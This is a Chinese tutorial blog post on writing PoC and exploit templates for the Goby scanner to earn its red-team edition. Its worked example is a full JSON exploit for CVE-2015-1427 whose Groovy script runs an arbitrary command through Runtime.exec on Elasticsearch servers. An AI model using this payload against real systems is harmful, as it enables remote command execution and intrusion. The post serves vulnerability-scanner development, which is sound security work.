如何编写合格的 PoC 领取 Goby 红队专版

admin 2021年4月16日09:55:35评论449 views字数 3940阅读13分8秒阅读模式

如何编写合格的 PoC 领取 Goby 红队专版


如何编写合格的 PoC 领取 Goby 红队专版


Goby社区第13 篇技术分享文章

全文共:3906    预计阅读时间:10 分钟


前言:Goby已经上了某榜(滑稽)的top10了,足以证明Goby的实用性,众所周知Goby还分为内测版、超级内测版、红队专版等等,其中最强大的莫过于红队专版,但红队版的获取是严格限制的,当然也是有获取方法,这里分享如何通过编写 PoC 获取红队专版。


如何编写合格的 PoC 领取 Goby 红队专版 01

 准备环境

Goby为PoC编写提交测试方便发布了...姑且叫PoC版。PoC版主要功能为登录后,可以在线提交 PoC,无需再提交到邮箱。

如何编写合格的 PoC 领取 Goby 红队专版

然后还有两个连接,一个是《Goby漏洞编写指南》:

https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

还有《Goby已录漏洞列表》防止PoC撞车:

https://shimo.im/sheets/hcoIpikMzpsVKgaC/aojnO/



如何编写合格的 PoC 领取 Goby 红队专版 02

第一个 Goby 的 PoC

2.1 简单的 PoC 制作

实际上主要用到的功能在这里:

如何编写合格的 PoC 领取 Goby 红队专版

如何编写合格的 PoC 领取 Goby 红队专版

如何编写合格的 PoC 领取 Goby 红队专版

上图就能看到自定义PoC的界面样子了,具体填写的信息和填写标准参考上述的《Goby漏洞编写指南》,里边有命名规则等详细解释和参考,然后就是RequestsResponse处理,Goby提供了“测试”功能可直接通过图形化界面自定义自己的Requests

如何编写合格的 PoC 领取 Goby 红队专版

这里以CVE-2015-1427为例,再完整的RCE中一共需要发送两次Requests

如何编写合格的 PoC 领取 Goby 红队专版

如何编写合格的 PoC 领取 Goby 红队专版

然后Goby的PoC编辑界面提供了可选的单个或多个Requests,也提供了AND和OR可选的发包逻辑,方便发送多个Requests的自定义

如何编写合格的 PoC 领取 Goby 红队专版

之后的“响应测试”可对Response进行判断可选有返回状态码,Header和Body,大家按照自己需求点一点即可。

如何编写合格的 PoC 领取 Goby 红队专版

CVE-2015-1427需要两个Requests,再来一个即可,这里需要一个RCE返回结果的判断,对于轮子达人来说点一点就好制作很方便。

如何编写合格的 PoC 领取 Goby 红队专版

到这里两次Requests好了,最终的RCE判断也好了剩下就是测试PoC可用性了,上图所示右上角提供了“单ip扫描”直接测试。

如何编写合格的 PoC 领取 Goby 红队专版

在资产扫描完成的界面,输入query点击放大镜可以进行资产匹配,用来确定自己写的query可以正确匹配。

如何编写合格的 PoC 领取 Goby 红队专版

但是仅有一个存在漏洞和不存在漏洞的结果提示,这个查询界面并没有显示Response,所有如果怀疑自己的PoC有问题还需要自己抓包去看,而且多次Requests时仅显示第一个Requests(所以建议该功能有待完善),我再测试PoC时无奈一直在Wireshark抓包看的,比较麻烦。

再去扫描中测试一番,这里每次对PoC进行修改之后都需要重启Goby(点左下角的重启也行)。

如何编写合格的 PoC 领取 Goby 红队专版


2.2 不太简单的PoC中的Exp
你以为PoC做好了?没有,一半了,如开头图中所示需要三个带Exp的漏洞,所有自己的PoC必须要Exp功能,然后Exp功能还没有图形化点一点的界面,而《Goby漏洞编写指南》中对Exp的制作也只有个例子,没看到详细解释(可能我没看全),但是有一个TP的demo,通过这个demo我们也能照猫画虎做Exp了。

如何编写合格的 PoC 领取 Goby 红队专版

制作Exp需要开启图形中的验证接口,你会好奇上图所示的“验证”为什么我没有,需要去手动编辑Exp模块了。

如何编写合格的 PoC 领取 Goby 红队专版

编辑器中可以看到你的PoC的json文件,默认的HasExp值为false,开启改true即可,ExpParams则是前端需要传递给 Exp 的参数,如要执行的命令。
以CVE-2015-1427为例需要自定义命令,一个输入参数,需要将ExpParams改为:
"ExpParams": [    {      "name": "cmd",      "type": "input",      "value": "whoami"    }  ]
不解释上述json了直接感受一下效果:

如何编写合格的 PoC 领取 Goby 红队专版

现在为止GUI中已经开启Exp了,但实际还没有“验证”功能,需要再回到“编辑器”中编写“验证功能”,找到json中的ExploitSteps默认值为null,继续以CVE-2015-1427为例需要两次Requests修改为:

"ExploitSteps": [    "AND",    {      "Request": {        "method": "POST",        "uri": "/website/blog/",        "follow_redirect": true,        "header": {          "Accept-Encoding": "gzip, deflate",          "Accept": "*/*",          "Connection": "close",          "Accept-Language": "en",          "Content-Type": "application/x-www-form-urlencoded"        },        "data_type": "text",        "data": "{ "name": "cve-2015-1427" }"      },      "ResponseTest": {        "type": "group",        "operation": "AND",        "checks": [          {            "type": "item",            "variable": "$code",            "operation": "==",            "value": "201",            "bz": ""          }        ]      },      "SetVariable": [        "output|lastbody"      ]    },    {      "Request": {        "method": "POST",        "uri": "/_search?pretty",        "follow_redirect": true,        "header": {          "Accept-Encoding": "gzip, deflate",          "Accept": "*/*",          "Connection": "close",          "Accept-Language": "en",          "Content-Type": "application/text"        },        "data_type": "text",        "data": "{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"{{{cmd}}}\").getText()"}}}"      },      "ResponseTest": {        "type": "group",        "operation": "AND",        "checks": [          {            "type": "item",            "variable": "$code",            "operation": "==",            "value": "200",            "bz": ""          },          {            "type": "item",            "variable": "$body",            "operation": "contains",            "value": "460f7ccb583e25e09c0fe100a2c9e90d",            "bz": ""          }        ]      },      "SetVariable": [        "output|lastbody|regex|(?s)"lupin" : \[ "(.*)" \]"      ]    }  ]
可以看到上述json中 Requests 和PoC中的ScanStepsRequests 是一致的,就不难理解是同样的发包,只不过一个在ScanSteps一个是ExploitSteps,现在应该也就大概理解这个json的大致功能了,上边看着乱简化一下:
"ExploitSteps": [    "AND",    {      "Request": {xxxxxx},      "ResponseTest": {xxxxxx},      "SetVariable": [xxxxxx]    },    {      "Request": {xxxxxx},      "ResponseTest": {xxxxxx},      "SetVariable": [xxxxxx]    }  ]
到这里应该都指知道Requests用来发包,ResponseTest用来判断是否满足判断SetVariable则会在“验证”功能中回显Body。
我在看官方提供的Exp demo中发现TP的RCE去掉了ResponseTest,我也跟着试,结果只发送第一个Requests不发第二个,后续找@go0p发现是去掉了ResponseTest的锅。
最后控制一下RCE的回显,TP的demo中SetVariable写的是:
"SetVariable": [        "output|lastbody"      ]
这里的效果就是显示整个Body。

如何编写合格的 PoC 领取 Goby 红队专版

看起来比较凌乱,不过SetVariable中也有过滤可用,例如regex去正则。
"SetVariable": [        "output|lastbody|regex|(?s)"lupin" : \[ "(.*)" \]"      ]

如何编写合格的 PoC 领取 Goby 红队专版

到这里一个带Exp的PoC就制作好了,如果你觉得PoC逻辑编写没为题但又怎么都不成功就只能反复测试反复抓包了,找你的wireshark好帮手,慢慢测慢慢排,最终完整的PoC一定出的来。
上述的PoC完整例子在:https://github.com/zhzyker/Goby-PoC



如何编写合格的 PoC 领取 Goby 红队专版 03

总结

仅需编写三个带Exp的PoC即可领取Goby红队版!
小手半天抖一抖~
红队专版拿到手~

如何编写合格的 PoC 领取 Goby 红队专版




如何编写合格的 PoC 领取 Goby 红队专版



最新Goby使用技巧分享

• limb0 | 如何利用Goby获得多个地市hvv一等奖

• 梦幻的彼岸 | Apache Tomcat样例目录session

• kio | 如何利用Goby将防守单位打出局

• bytesec | 从致远OA-ajax.do漏洞复现到利用

• zzlyzq | 利用Goby发现企业云网络中的安全隐患

更多 >>  打野手册



如果表哥/表姐也想把自己上交给社区(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写等文章均可如何编写合格的 PoC 领取 Goby 红队专版,欢迎投稿到我们公众号,超级内测版等着你们~~~


技术分享 | 如何编写合格的 PoC 领取 Goby 红队专版

本文始发于微信公众号(GobySec):技术分享 | 如何编写合格的 PoC 领取 Goby 红队专版

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月16日09:55:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何编写合格的 PoC 领取 Goby 红队专版http://cn-sec.com/archives/335561.html

发表评论

匿名网友 填写信息